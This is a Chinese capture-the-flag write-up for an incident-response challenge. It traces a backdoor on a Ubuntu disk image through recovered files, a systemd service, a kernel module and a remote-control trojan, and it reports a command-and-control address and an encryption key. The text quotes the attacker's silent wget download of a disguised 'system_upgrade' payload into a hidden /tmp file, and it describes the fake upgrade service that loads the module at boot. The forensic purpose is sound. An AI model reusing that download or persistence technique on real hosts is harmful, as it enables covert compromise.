2025长城杯半决赛-应急响应
2025长城杯半决赛-应急响应
ISW-1
题目:小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。
-
使用R-STUDIO 打开raw镜像

-
home/ubuntu文件夹下中的1.txt中有执行的wget命令记录

wget --quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade
wget:Linux下载工具--quiet:静默模式,不显示输出信息http://mirror.unknownrepo.net/f/l/a/g/system_upgrade:从可疑域名下载名为"system_upgrade"的文件-O /tmp/.system_upgrade:将下载的文件保存为/tmp目录下的隐藏文件.system_upgrade
-
在/home/ubuntu/.viminfo 文件中找到system-upgrade.service 被多次修改

-
在\etc\systemd\system\ 找到服务文件

服务配置分析
-
Unit 部分:
After=multi-user.target:确保在系统完全启动后运行- 伪装成系统升级服务,具有迷惑性
-
Service 部分:
Type=forking:服务以分叉方式运行(常用于后台进程)ExecStart=/sbin/insmod /lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko:- 使用
insmod加载内核模块 - 路径伪装成标准内核驱动位置
.ko文件是 Linux 内核模块
- 使用
-
Install 部分:
WantedBy=multi-user.target:确保在系统启动时自动激活
-
内核取证,恢复该ko文件,使用IDA逆向

找到主体函数 ULRYvXzICzy880dO ,函数名被混淆了
发现隐藏的IP地址 192.168.57.203 和隐藏端口 4948 1337

都尝试MD5一下,最后flag(md5(192.168.57.203:4948)) flag(59110f555b5e5cd0a8713a447b082d63)
ISW-2
题目2:找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}
1.system_upgrade 是服务, systemd-agentd 应该就是木马文件了,文件位置在/lib/systemd/systemd-agentd

使用R-STUDIO进行恢复,然后找在线MD5文件计算

bccad26b665ca175cd02aca2903d8b1e
ISW-3
题目3:找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。
system-upgrade.ko 文件即持久化程序

ISW-4
题目4:查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。
根据题目1中的1.txt 中的wget命令 历史

.system_upgrade

ISW-5
题目5:分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。
用IDA逆向分析,查看可以的字符串,猜测 unk_4BEFFD为通信密钥

追踪到原函数,有异或行为

提取出数据,并进行异或操作,编写python代码实现,得到通信密钥
使用shift +e 提取数据为数组格式


ThIS_1S_th3_S3cR3t_fl@g

浙公网安备 33010602011771号